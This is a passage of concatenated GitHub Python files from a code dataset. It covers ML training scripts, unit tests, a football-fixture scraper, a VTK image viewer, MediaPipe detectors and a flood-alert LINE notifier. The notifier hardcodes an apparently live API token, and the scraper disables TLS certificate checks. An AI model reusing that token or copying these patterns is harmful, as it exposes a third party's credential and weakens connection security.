= self._fill_db()\n\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.put('/language/%s' % languageid,\n dict(name='changed'),\n extra_environ=environ, status=200)\n assert_true('parent.location = \"/admin/language/\";' in response.body,\n 'should be redirected to \"/admin/language/\" via javascript')\n\n cat = DBSession.query(Language).get(languageid.decode())\n eq_(cat.name, 'changed')\n\n def test_get_delete(self):\n \"\"\"controllers.language.Controller.get_delete is working properly\"\"\"\n languageid = self._fill_db()\n\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.get('/language/%s/delete' % languageid,\n extra_environ=environ, status=200)\n \n eq_(response.html.form['action'], u'/language/')\n eq_(response.html.form['method'], u'post')\n assert_true(response.html.find('input',\n {'name': '_method', 'value': 'DELETE'}),\n '\"_method\" should be \"DELETE\"')\n assert_true(response.html.find('input',\n {'name': 'languageid', 'value': languageid}),\n 'wrong language_id')\n\n def test_post_delete(self):\n \"\"\"controllers.language.Controller.post_delete is working properly\"\"\"\n languageid = self._fill_db()\n\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.delete('/language?languageid=%s' % languageid,\n extra_environ=environ, status=200)\n assert_true('parent.location = \"/admin/language/\";' in response.body,\n 'should be redirected to \"/admin/language/\" via javascript')\n\n result = DBSession.query(Language).get(languageid.decode())\n assert_true(result is None,\n 'Language should have been deleted from the db')\n\n","repo_name":"lento/tagger","sub_path":"tagger/tests/functional/test_language.py","file_name":"test_language.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73079987307","text":"import pandas as pd\nimport numpy as np\nfrom collections import Counter\nimport random\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nfrom sklearn.preprocessing import MultiLabelBinarizer\n\nfrom sklearn.model_selection import train_test_split,cross_val_score\nfrom sklearn.metrics import f1_score,accuracy_score,confusion_matrix,make_scorer\nseed=1\nnp.random.seed(seed)\ntorch.manual_seed(seed)\nrandom.seed(seed)\ntrain_df=pd.read_csv('./train_data.csv')\ntrain_df.head()\n\ntest_df=pd.read_csv('./test_data.csv')\ntest_df.head()\n\nx_test=test_df['utterances'].values\n\nx_train, x_val, y_train, y_val = train_test_split(train_df['utterances'].values, train_df['IOB Slot tags'].values, \n test_size=0.2, random_state=1, shuffle=True)\n\nall_sents=x_train.tolist()+x_val.tolist()+x_test.tolist()\nvocab=[]\nfor i in all_sents:\n vocab+=i.split()\nvocab=set(vocab)\nprint ('Vocab length:',len(vocab))\n\nvocab=['']+list(vocab)\nword2idx={vocab[i]:i for i in range(len(vocab))}\nidx2word={i:vocab[i] for i in range(len(vocab))}\nassert len(word2idx)==len(idx2word)\n\nall_tags=y_train.tolist()+y_val.tolist()\ntags=[]\nfor i in all_tags:\n tags+=i.split()\ntags=set(tags)\nprint ('tags length:',len(tags))\n\ntags=['']+list(tags)\ntag2idx={tags[i]:i for i in range(len(tags))}\nidx2tag={i:tags[i] for i in range(len(tags))}\nassert len(tag2idx)==len(idx2tag)\n\ndef vectorize_vocab(word2idx,*argv):\n groups=[]\n for sents in argv[0]:\n groups.append([[word2idx[j] for j in i.split()] for i in sents])\n return groups\n\nx_train,x_val,x_test=vectorize_vocab(word2idx,[x_train,x_val,x_test])\nmax_len=max([len(i) for i in x_train])\n\ny_train,y_val=vectorize_vocab(tag2idx,[y_train,y_val])\nassert max_len==max([len(i) for i in y_train])\n\nfrom torch.utils.data import Dataset, DataLoader\n\nclass MovieData(Dataset):\n def __init__(self, X, y):\n try:\n self.X = torch.tensor(X)\n except ValueError as e:\n self.X = [torch.tensor(i) for i in X]\n self.y = [torch.tensor(i) for i in y]\n\n def __len__(self):\n return len(self.y)\n\n def __getitem__(self,index):\n return self.X[index], self.y[index]\n\n\ndef sort_batch(x):\n longest = max([len(i[0]) for i in x])\n s=torch.stack([torch.concat([i[0],torch.zeros(longest-len(i[0])).long()]) for i in x])\n l=torch.stack([torch.concat([i[1],torch.zeros(longest-len(i[1])).long()]) for i in x])\n return s,l\n\ntrain_dataset = MovieData(X=x_train,y=y_train)\nval_dataset = MovieData(X=x_val,y=y_val)\n\nbs=32\n\ntrain_dataloader = DataLoader(dataset=train_dataset,collate_fn=sort_batch,batch_size=bs,shuffle=True)\nval_dataloader = DataLoader(dataset=val_dataset,collate_fn=sort_batch,batch_size=bs,shuffle=True)\n\n# class LSTM_(nn.Module):\n# def __init__(self,vocab_size,embed_dim,num_class,hidden_size,padding_index=0):\n# super(LSTM_,self).__init__()\n# self.emb = nn.Embedding(vocab_size, embed_dim, padding_idx=padding_index)\n# self.rnn=nn.LSTM(input_size=embed_dim,hidden_size=hidden_size,num_layers=1,batch_first=True)\n# self.fc1= nn.Linear(hidden_size,num_class)\n \n# def forward(self,x):\n# x=self.emb(x)\n# out,h_n=self.rnn(x)\n# print (out.shape)\n# h1=self.fc1(out)\n# print (h1.shape)\n# # h2=F.log_softmax(h1,dim=-1)\n# h2=h1.view(-1, h1.shape[-1])\n# return h2\n\nclass LSTM_1(nn.Module):\n def __init__(self,vocab_size,embed_dim,num_class,hidden_size,padding_index=0):\n super(LSTM_1,self).__init__()\n self.emb = nn.Embedding(vocab_size, embed_dim, padding_idx=padding_index)\n self.dropout = nn.Dropout(0.2)\n self.rnn=nn.LSTM(input_size=embed_dim,hidden_size=hidden_size,num_layers=2,batch_first=True,bidirectional=True)\n \n self.fc1= nn.Linear(hidden_size*2,num_class)\n \n def forward(self,x):\n x=self.dropout(self.emb(x))\n out,h_n=self.rnn(x)\n # print (out.shape)\n h1=self.fc1(out)\n # print (h1.shape)\n # h2=F.log_softmax(h1,dim=-1)\n h2=h1.view(-1, h1.shape[-1])\n return h2\n\nembed_size=300\nhidden_size=64\n# clf = LSTM_1(vocab_size=len(vocab),embed_dim=embed_size,num_class=len(tags),hidden_size=hidden_size)\n# loss_func = nn.NLLLoss()\nloss_func = nn.CrossEntropyLoss()\n\n\nclf = LSTM_1(vocab_size=len(vocab),embed_dim=embed_size,num_class=len(tags),hidden_size=hidden_size)\nlearning_rate=0.001\nnum_epochs=15\noptimizer = optim.Adam(clf.parameters(), lr=learning_rate)\nlosses = []\ntrain_losses,train_acc = [],[]\nval_losses, val_acc=[],[]\nmin_loss=1000\ntotal_step=len(train_dataloader)\n\nfor epoch in range(num_epochs):\n train_loss,correct=0,0\n total_tags=0\n total_val_tags=0\n for i,(X,y) in enumerate(train_dataloader):\n optimizer.zero_grad()\n # print (X.shape,y.shape)\n y_pred = clf(X)\n # print (y_pred.shape,y.shape)\n # break\n # break\n# break\n y=y.view(-1)\n loss = loss_func(y_pred, y)\n train_loss+=loss.item()\n\n y_pred=torch.argmax(y_pred,dim=1)\n y_pred,y=y_pred.flatten(),y.flatten()\n correct+= (y_pred==y).sum().item()\n total_tags+=y.shape[0]\n \n loss.backward()\n optimizer.step()\n if (i+1) % 50 == 0:\n print ('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}' \n .format(epoch+1, num_epochs, i+1, total_step, loss.item()))\n # break\n train_loss=round(train_loss/len(val_dataloader),3)\n acc=round(100*correct/total_tags,3)\n train_losses.append(train_loss)\n train_acc.append(acc)\n print (f\"Train loss: {train_loss} Train accuracy: {acc}\") \n\n val_loss,correct=0,0\n for i,(X,y) in enumerate(val_dataloader):\n y_pred = clf(X)\n y=y.view(-1)\n loss = loss_func(y_pred, y)\n val_loss+= round(loss.item(),3)\n\n y_pred=torch.argmax(y_pred,dim=1)\n # print (y_pred.shape)\n y_pred,y=y_pred.flatten(),y.flatten()\n # print (y[0:5],y_pred[0:5])\n # print ((y_pred==y).sum().item(),len(y),total_val_tags)\n correct+= (y_pred==y).sum().item()\n total_val_tags+=len(y)\n \n val_loss=round(val_loss/len(val_dataloader),3)\n\n if(val_loss should throw an error\n clipping_bounds = (0, 0, 100, 100)\n with pytest.raises(ValueError):\n rcoll.clip_bands(clipping_bounds=clipping_bounds, inplace=True)\n\n\ndef test_band_summaries(get_bandstack, get_polygons):\n \"\"\"test band summary statistics\"\"\"\n fpath_raster = get_bandstack()\n rcoll = RasterCollection.from_multi_band_raster(\n fpath_raster=fpath_raster,\n nodata=0\n )\n # try band summary statistics for polygons\n polys = get_polygons()\n band_stats = rcoll.band_summaries(by=polys)\n assert isinstance(band_stats, gpd.GeoDataFrame), 'expected a GeoDataFrame'\n assert 'mean' in band_stats.columns, 'expected the mean value'\n assert 'band_name' in band_stats.columns, 'expected the band name as column'\n assert band_stats.crs == rcoll[rcoll.band_names[0]].crs, 'mis-match of CRS'\n\n # get statistics of complete RasterCollection\n band_stats_all = rcoll.band_summaries()\n assert isinstance(band_stats, gpd.GeoDataFrame), 'expected a GeoDataFrame'\n assert band_stats_all.shape[0] == len(rcoll), 'wrong number of items in statistics'\n ","repo_name":"EOA-team/eodal","sub_path":"tests/core/test_raster_collection.py","file_name":"test_raster_collection.py","file_ext":"py","file_size_in_byte":11646,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"37"} +{"seq_id":"19293953257","text":"from .. import get_instance\nfrom . import StateOutputBase\n\nclass CompositeOut(StateOutputBase):\n\n # The inside of this function will only be executed once.\n # self.outputs cannot be built inside __init__, because other outputs may\n # not have been built at that point.\n def transmit(self):\n self.outputs = [\n get_instance(output_name)\n for output_name in self.confentry[\"outputs\"]\n ]\n\n # Set _transmit() to be executed when transmit() is called from this\n # point on\n self.transmit = self._transmit\n self.transmit()\n\n def _transmit(self):\n for output in self.outputs:\n output.transmit()\n\n def __init__(self, confentry):\n self.confentry = confentry","repo_name":"hansonrobotics/robo_blender","sub_path":"src/outputs/state/CompositeOut.py","file_name":"CompositeOut.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"72189157227","text":"import albumentations as A\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\nimport joblib\nimport torch\nfrom torch.utils.data import Dataset\n\nclass BengaliTrainDataset(Dataset):\n def __init__(self, dataframe, folds, transforms = None):\n super().__init__()\n\n self.df = dataframe[dataframe.kfold.isin(folds)].reset_index(drop = True)\n df = dataframe[[\"image_id\", \"grapheme_root\", \"vowel_diacritic\", \"consonant_diacritic\", \"kfold\"]]\n self.transforms = transforms\n\n df = df[df.kfold.isin(folds)].reset_index(drop = True)\n self.image_ids = df.image_id.values\n self.grapheme_root = df.grapheme_root.values\n self.vowel_diacritic = df.vowel_diacritic.values\n self.consonant_diacritic = df.consonant_diacritic.values\n\n def __getitem__(self, index: int):\n image = joblib.load(f\"input/image_pickles/{self.image_ids[index]}.pkl\")\n image = image.reshape(137,236).astype(float)\n image = Image.fromarray(image).convert(\"RGB\")\n image = np.array(image)\n \n\n if self.transforms:\n sample = {\n 'image': image\n }\n sample = self.transforms(**sample)\n image = sample['image']\n \n image = np.transpose(image, (2,0,1)).astype(np.float32)\n\n return {\n 'image': torch.as_tensor(image, dtype = torch.float),\n 'grapheme_root': torch.as_tensor(self.grapheme_root[index], dtype = torch.long),\n \"vowel_diacritic\": torch.as_tensor(self.vowel_diacritic[index], dtype = torch.long),\n \"consonant_diacritic\": torch.as_tensor(self.consonant_diacritic[index], dtype = torch.long)\n }\n\n\n\n def __len__(self):\n return len(self.image_ids)\n ","repo_name":"agalindom/grapheme_classification","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19412840591","text":"with open(\"in.txt\") as f:\n w = f.read().replace('\\t', ' ').splitlines()\n\nw = [x.split(' ') for x in w]\n\nsol = 0\nfor q in w:\n e = [int(x) for x in q]\n for a in range(0, len(e), 1):\n for b in range(a+1, len(e), 1):\n if e[a] % e[b] == 0:\n sol += e[a]/e[b]\n elif e[b] % e[a] == 0:\n sol += e[b]/e[a]\nprint(sol)\n","repo_name":"sablastBF/AdventOfCode","sub_path":"2017/dan_02/f1.py","file_name":"f1.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9229829451","text":"# encoding:utf-8\nfrom linenotipy import Line\nfrom ..data.rainstation_data import _stationDataRain\nimport os\nfrom datetime import datetime, timedelta\n\nclass notify():\n def __init__(self, nowFormat, warnStrDict, status=None):\n self.imgRainPath = os.path.join(os.getcwd(), 'img', nowFormat, 'rain')\n self.sendnotify(warnStrDict)\n \n \n def sendnotify(self, warnStrDict):\n if datetime.now().hour == 8 and datetime.now().minute < 20:\n self.linenotify(warnStrDict=warnStrDict, status='goodmorning')\n\n if not warnStrDict:\n if datetime.now().hour == 16 and datetime.now().minute < 20:\n self.linenotify(warnStrDict=warnStrDict, status='safe16')\n elif datetime.now().hour == 22 and datetime.now().minute < 20:\n self.linenotify(warnStrDict=warnStrDict, status='safe22')\n elif datetime.now().hour == 0 and datetime.now().minute < 20:\n self.linenotify(warnStrDict=warnStrDict, status='goodnight')\n else:\n self.linenotify(warnStrDict=warnStrDict)\n \n \n def linenotify(self, warnStrDict, status=None):\n line = Line(token='FRYsdxMysDd4pyL4cJ7a20QgPrtj2qARz7SCxBVxY6r')\n \n if status == 'goodmorning':\n # 早上的提醒, 跟你說離汛期結束還有多少天\n message = f'\\n早安, 離汛期結束還有{self.morning()}天'\n image = os.path.join(os.getcwd(), 'img', 'Line', 'goodmorning.png')\n line.post(message=message, imageFile=image)\n \n elif status == 'safe16':\n # 下午四點的提醒, 提醒大家可以下班了\n message = '\\n恭喜各位, 可以安心下班了'\n image = os.path.join(os.getcwd(), 'img', 'Line', 'happyday.png')\n line.post(message=message, imageFile=image)\n \n elif status == 'safe22':\n # 晚上十點的提醒, 提醒大家可以睡覺了\n message = '\\n恭喜各位, 可以安心睡覺了'\n image = os.path.join(os.getcwd(), 'img', 'Line', 'sleep.png')\n line.post(message=message, imageFile=image)\n \n elif status == 'goodnight':\n # 叫你去睡覺\n message = '\\n晚安, 去睡覺'\n image = os.path.join(os.getcwd(), 'img', 'Line', 'goodnight.png')\n line.post(message=message, imageFile=image)\n \n else:\n message = f'\\n{datetime.now().strftime(\"%Y-%m-%d %H:00:00\")}'\n line.post(message=message)\n for stcode in warnStrDict.keys():\n message = warnStrDict[stcode]\n imgName = f'{stcode}-{_stationDataRain[stcode][\"chineseName\"]}.jpg'\n image = os.path.join(self.imgRainPath, imgName)\n\n line.post(message=message, imageFile=image)\n \n\n def morning(self):\n today = datetime.today()\n endTime = datetime(today.year, 11, 30, 23, 59, 59)\n countdown = endTime - datetime.today() + timedelta(days=1)\n\n return countdown.days\n\n\n","repo_name":"LinChihHung/FloodForecastSystem","sub_path":"floodforecast/functions/linenotify.py","file_name":"linenotify.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"10466753228","text":"import scrapy\nimport json\nfrom urllib.parse import urlparse\nfrom urllib.parse import parse_qs\nfrom urllib.parse import urlencode\nfrom urllib.parse import urlunparse\nimport time\nfrom datetime import timezone\nimport ast\nimport logging\nfrom topicmetrics.items import TopicmetricsItem\n\nclass CmakSpider(scrapy.Spider):\n name=\"CMAK\"\n start = time.time()\n duration = 0\n\n def start_requests(self):\n cluster = getattr(self, 'cluster', 'lijjin-test')\n topic = getattr(self, 'topic', 'user2role')\n host = getattr(self, 'host', 'localhost')\n port = getattr(self, 'port', '9000')\n # unit is second\n self.duration = float(getattr(self, 'duration', '360'))\n\n url = 'http://' + host + ':' + port + '/clusters/' + cluster + '/topics/' + topic\n\n logging.info('url: %s', url)\n\n requests = []\n request = scrapy.Request(\n url,\n callback=self.parse_topic)\n requests.append(request)\n return requests\n\n def parse_topic(self, response):\n # get message per second within 1 min\n msgpers = response.xpath('//table[@class=\"table\"]/tbody/tr/td/span[@class=\"badge\"]/text()')[1].get()\n logging.info('Get metrics %s', msgpers)\n item = TopicmetricsItem()\n item['msgpers'] = msgpers\n yield item\n\n now = time.time()\n if now - self.start < self.duration:\n yield response.follow(response.url, callback=self.parse_topic, dont_filter=True)\n","repo_name":"jinzujojiao/redistest","sub_path":"kafka_benchmark/topicmetrics/topicmetrics/spiders/cmak_spider.py","file_name":"cmak_spider.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10563076841","text":"import datetime as dtm\nimport pandas as pd\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\nfrom unicodedata import normalize as nm\nfrom urllib import response\nclass Crawler:\n content = None\n\n def __init__(self, url):\n self.url = url\n\n def obtem_html(self):\n header = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\",\n \"X-Requested-With\": \"XMLHttpRequest\"\n }\n self.inicio_coleta= self.registra_time()\n response = requests.get(url=self.url, headers=header, verify=False)\n response.encoding = 'UTF-8'\n self.content = response.text\n self.fim_coleta = self.registra_time()\n\n def registra_time(self):\n time = dtm.datetime.now() \n return time.strftime(\"%Y-%m-%d %H:%M:%S.%f\") \n\nclass CbfJogos(Crawler):\n SITES = {\n 'serie-a' : 'https://www.cbf.com.br/futebol-brasileiro/competicoes/campeonato-brasileiro-serie-a',\n 'serie-b' : 'https://www.cbf.com.br/futebol-brasileiro/competicoes/campeonato-brasileiro-serie-b'\n }\n\n def lista_jogos(self):\n self.obtem_html()\n soup = BeautifulSoup(self.content, 'html.parser')\n response = {\n \"origem\": \"cbf\",\n \"serie\": 'Serie-' + self.url[-1].upper(),\n \"url\": self.url,\n \"request_at\": self.inicio_coleta,\n \"coleted_at\": self.fim_coleta,\n \"jogos\": []\n }\n rodadas = soup.select('div.swiper-slide')\n for rodada in rodadas:\n response['jogos'].extend(self.organiza_jogos(rodada))\n return response\n \n def remove_acentos(self, str):\n str_sem_acentos = nm('NFKD', str).encode('ASCII', 'ignore').decode('ASCII')\n return str_sem_acentos\n\n def extractor_data_id(self, jogo):\n text = jogo.find('span', attrs={\n 'partida-desc text-1 color-lightgray p-b-15 block uppercase text-center'}).get_text()\n data_id = re.sub(r\"^\\s+\", \"\", text,\n flags=re.UNICODE | re.MULTILINE)\n data_id = data_id.replace('\\r\\n', '').split('-')\n data = data_id[0].split(', ')[1]\n id = data_id[1]\n id = re.search(\"[0-9]+\", id)[0]\n self.data = data\n self.id = id\n\n def extractor_rodada(self, lista):\n rodada = lista.find('h3').get_text()\n rodada = re.search(\"[0-9]+\", rodada)[0]\n self.rodada = rodada\n\n def extractor_local_jogo(self, lista):\n local = lista.find('span', attrs={\n 'partida-desc text-1 color-lightgray block uppercase text-center'}).get_text()\n local = re.sub(r\"^\\s+\", \"\", local,\n flags=re.UNICODE | re.MULTILINE)\n local = re.sub(\"\\n[a-z]+ [a-z]+ [a-z]+ [a-z]+\\n|\\n[a-z]+ [a-z]+ [a-z]+\\n\", \"\", local,\n flags=re.UNICODE | re.IGNORECASE)\n local = self.remove_acentos(local)\n self.local = local\n\n def extractor_mandante(self, lista):\n info_mandante = lista.find('div', attrs={'time pull-left'})\n nome = info_mandante.find('img')['title'].split(' - ')[0]\n nome = self.remove_acentos(nome)\n imagem = info_mandante.find('img')['src']\n sigla = info_mandante.get_text()\n sigla = re.sub(r\"^\\s+\", \"\", sigla,\n flags=re.UNICODE | re.MULTILINE).replace('\\n', '')\n mandante = {'nome': nome, 'imagem_url': imagem, 'sigla': sigla}\n self.mandante = mandante\n\n def extractor_visitante(self, lista):\n info_mandante = lista.find('div', attrs={'time pull-right'})\n nome = info_mandante.find('img')['title'].split(' - ')[0]\n nome = self.remove_acentos(nome)\n imagem = info_mandante.find('img')['src']\n sigla = info_mandante.get_text()\n sigla = re.sub(r\"^\\s+\", \"\", sigla,\n flags=re.UNICODE | re.MULTILINE).replace('\\n', '')\n visitante = {'nome': nome, 'imagem_url': imagem, 'sigla': sigla}\n self.visitante = visitante\n\n def extractor_placar(self, lista):\n placar = lista.find(\n 'span', attrs={'bg-blue color-white label-2'})\n if placar is None:\n placar = []\n else:\n placar = placar.get_text().split(' x ')\n self.placar = placar\n\n def extractor_detalhes(self, lista):\n infos = lista.find('span', attrs ={'partida-desc text-1 color-lightgray block uppercase text-center'})\n link = infos.find('a')['href']\n self.link_detalhes = link\n\n def info_jogos(self, jogo):\n self.extractor_local_jogo(jogo)\n self.extractor_data_id(jogo)\n self.extractor_mandante(jogo)\n self.extractor_visitante(jogo)\n self.extractor_placar(jogo)\n self.extractor_detalhes(jogo)\n\n def organiza_jogos(self, lista):\n json = []\n jogos = lista.find_all('li')\n self.extractor_rodada(lista)\n for jogo in jogos:\n self.info_jogos(jogo)\n data = {'rodada': self.rodada, 'id': self.id, 'data_jogo': self.data,\n 'local_jogo': self.local, 'mandante': self.mandante, 'visitante': self.visitante,\n 'placar': self.placar, \"link_detalhes\": self.link_detalhes\n }\n json.append(data)\n return json\n\n def executer(self):\n jogos = self.lista_jogos()\n #jogos = self.organiza_jogos(lista)\n return jogos\n","repo_name":"vitorsoier/Jogos-Campeonato","sub_path":"jogos/jogos.py","file_name":"jogos.py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8558661002","text":"import sys\r\nimport os\r\nimport vtk\r\n\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QFileDialog, QMessageBox\r\n\r\nfrom GUI_vtk import Ui_MainWindow\r\nfrom vtk.qt.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor\r\n\r\nclass MainFramework(QMainWindow,Ui_MainWindow):\r\n \r\n def __init__(self):\r\n\r\n QMainWindow.__init__(self)\r\n\r\n self.setupUi(self)\r\n self.setWindowTitle(\"Medical Image Viewer\")\r\n\r\n #Mainframe Variables\r\n\r\n self.map = None\r\n self.reader = None\r\n self.cam = None\r\n self.center_cam = None\r\n self.size = None\r\n\r\n self.spinBox.setEnabled(False)\r\n self.res_Slider.setMaximum(200)\r\n\r\n self.actionOpen_File.triggered.connect(self.open_File)\r\n self.res_Slider.valueChanged.connect(self.valuechange)\r\n self.ax_Button.clicked.connect(self.changeView)\r\n self.cor_Button.clicked.connect(self.changeView)\r\n self.sag_Button.clicked.connect(self.changeView)\r\n\r\n #VTK Viewer\r\n\r\n self.vtk_Viewer = QVTKRenderWindowInteractor(self.vtk_Frame)\r\n self.vtk_Viewer.SetSize(800,800)\r\n self.ren = vtk.vtkRenderer()\r\n self.vtk_Viewer.GetRenderWindow().AddRenderer(self.ren)\r\n self.iren = self.vtk_Viewer.GetRenderWindow().GetInteractor()\r\n style = vtk.vtkInteractorStyleImage()\r\n style.SetInteractionModeToImageSlicing()\r\n self.iren.SetInteractorStyle(style)\r\n\r\n def open_File(self):\r\n \r\n self.reader = vtk.vtkNIFTIImageReader()\r\n self.reader.SetFileName('brain1.nii')\r\n self.reader.Update()\r\n\r\n #Data Processing\r\n self.size = self.reader.GetOutput().GetDimensions()\r\n center = self.reader.GetOutput().GetCenter()\r\n spacing = self.reader.GetOutput().GetSpacing()\r\n print('size:' + str(self.size))\r\n print('center:' + str(center))\r\n\r\n self.center_cam = (center[0], center[1], center[2])\r\n\r\n #Get graysacle Range\r\n vrange = self.reader.GetOutput().GetScalarRange()\r\n\r\n #Set Image Slicer Mappers for each view\r\n\r\n self.map = vtk.vtkImageSliceMapper()\r\n self.map.BorderOn()\r\n self.map.SliceAtFocalPointOn()\r\n self.map.SliceFacesCameraOn()\r\n self.map.SetInputConnection(self.reader.GetOutputPort())\r\n\r\n self.slice = vtk.vtkImageSlice()\r\n self.slice.SetMapper(self.map)\r\n self.slice.GetProperty().SetColorWindow(vrange[1]-vrange[0])\r\n self.slice.GetProperty().SetColorLevel(0.5*(vrange[0]+vrange[1]))\r\n\r\n self.ren.AddActor(self.slice)\r\n\r\n self.cam = self.ren.GetActiveCamera()\r\n self.cam.ParallelProjectionOn()\r\n self.cam.SetParallelScale(0.5*spacing[1]*self.size[1])\r\n self.cam.SetFocalPoint(self.center_cam[0], self.center_cam[1], self.center_cam[2])\r\n print(self.center_cam)\r\n\r\n self.changeView()\r\n self.spinBox.setEnabled(True)\r\n\r\n def valuechange(self):\r\n s = self.res_Slider.value()\r\n self.spinBox.setValue(s)\r\n\r\n if self.ax_Button.isChecked():\r\n #Axial Plane\r\n self.cam.SetFocalPoint(self.center_cam[0], self.center_cam[1], s)\r\n\r\n if self.cor_Button.isChecked():\r\n #Coronal Plane\r\n self.cam.SetFocalPoint(self.center_cam[0], s, self.center_cam[2])\r\n\r\n if self.sag_Button.isChecked():\r\n #Sagital Plane\r\n self.cam.SetFocalPoint(s, self.center_cam[1], self.center_cam[2])\r\n \r\n self.show()\r\n self.iren.Initialize()\r\n\r\n def changeView(self):\r\n if self.reader:\r\n if self.cor_Button.isChecked():\r\n #Coronal Plane\r\n self.cam.SetFocalPoint(self.center_cam[0], self.center_cam[1], self.center_cam[2])\r\n self.cam.SetPosition(95.5,0,88)\r\n self.res_Slider.setMaximum(self.size[1])\r\n self.res_Slider.setValue(self.center_cam[1])\r\n\r\n if self.sag_Button.isChecked():\r\n #Sagital Plane\r\n self.cam.SetFocalPoint(self.center_cam[0], self.center_cam[1], self.center_cam[2])\r\n self.cam.SetPosition(256,95.5,87.5)\r\n self.res_Slider.setMaximum(self.size[0])\r\n self.res_Slider.setValue(self.center_cam[0])\r\n\r\n #Axial Plane\r\n if self.ax_Button.isChecked():\r\n self.cam.SetFocalPoint(self.center_cam[0], self.center_cam[1], self.center_cam[2])\r\n self.cam.SetPosition(87.5,95.5,256)\r\n self.res_Slider.setMaximum(self.size[2])\r\n self.res_Slider.setValue(self.center_cam[2])\r\n\r\n self.show()\r\n self.iren.Initialize()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n \r\n app = QApplication(sys.argv)\r\n MyApplication = MainFramework()\r\n MyApplication.show()\r\n sys.exit(app.exec_()) ","repo_name":"CharlyTQ/Medical_Image_Visualizer","sub_path":"Viewer_VTK/vtk_main.py","file_name":"vtk_main.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"21632434747","text":"import requests\nfrom bs4 import BeautifulSoup\n\nprint('Start working!!!')\n\nmainpage = requests.get('https://pythondigest.ru/')\n\n\nsoup = BeautifulSoup(mainpage.text, 'html.parser')\n\n\n# h2s = soup.findAll('h2')\n\n# for i in h2s:\n# print(i.text)\n\n\ndivs = soup.findAll('div', {\"class\": \"items-group-container\"})\n\nfor i in divs:\n link = i.find('a')\n print(link.text)\n\n\nlinks = soup.findAll('a',{'class': 'issue-item-title'})\n\nfor link in links:\n print(link['href'])\n print(link.text)\n\n'''\n\nДЗ\n\nСохранить все ссылки и их названия в json файл на диске.\n\nС сайта https://pythondigest.ru/\n\n\n\n'''\n\n","repo_name":"zdimon/python-course-4","sub_path":"lesson-4/grabber/grab.py","file_name":"grab.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12316494160","text":"import cv2 as cv\nimport mediapipe as mp\n\nimport math\n\nclass FaceDetector:\n def __init__(self) -> None:\n\n self.face_mesh = mp.solutions.face_mesh\n self.mpFace = mp.solutions.face_mesh.FaceMesh(refine_landmarks=True, max_num_faces=1)\n self.mpDraw = mp.solutions.drawing_utils\n self.drawStyles = mp.solutions.drawing_styles\n self.m_results = None\n\n\n def detect(self, img) -> None:\n imgRGB = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n self.m_results = self.mpFace.process(imgRGB)\n\n\n def __draw_debug(self, img, real_depth, real_a):\n \n return\n\n\n def draw(self, img, debug=None) -> None:\n\n if debug == True:\n return img\n\n if self.m_results and self.m_results.multi_face_landmarks:\n for handLms in self.m_results.multi_face_landmarks:\n self.mpDraw.draw_landmarks(\n image=img,\n landmark_list=handLms,\n connections=self.face_mesh.FACEMESH_LEFT_IRIS,\n landmark_drawing_spec=None,\n connection_drawing_spec=self.drawStyles\n .get_default_face_mesh_tesselation_style()\n )\n for handLms in self.m_results.multi_face_landmarks:\n self.mpDraw.draw_landmarks(\n image=img,\n landmark_list=handLms,\n connections=self.face_mesh.FACEMESH_RIGHT_IRIS,\n landmark_drawing_spec=None,\n connection_drawing_spec=self.drawStyles\n .get_default_face_mesh_tesselation_style()\n )\n return img\n\n def results(self):\n return self.m_results\n\n\n\nclass HandDetector:\n def __init__(self) -> None:\n self.hands = mp.solutions.hands\n self.mpHands = mp.solutions.hands.Hands(\n static_image_mode=False,\n max_num_hands=2,\n min_detection_confidence=0.4,\n min_tracking_confidence=0.4\n )\n self.mpDraw = mp.solutions.drawing_utils\n self.drawStyles = mp.solutions.drawing_styles\n self.m_results = None\n self.grabbing = False\n\n\n def detect(self, img) -> None:\n imgRGB = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n self.m_results = self.mpHands.process(imgRGB)\n\n\n def draw(self, img) -> None:\n\n if self.m_results and self.m_results.multi_hand_landmarks:\n for handLms in self.m_results.multi_hand_landmarks:\n self.mpDraw.draw_landmarks(\n img,\n handLms,\n self.hands.HAND_CONNECTIONS\n )\n\n if self.grabbing == False:\n continue\n\n for lms in handLms.landmark:\n cv.circle(img, (int(img.shape[1]*lms.x), int(img.shape[0]*lms.y)), 5, (0, 255, 0), cv.FILLED)\n\n return img\n\n\n def results(self):\n return 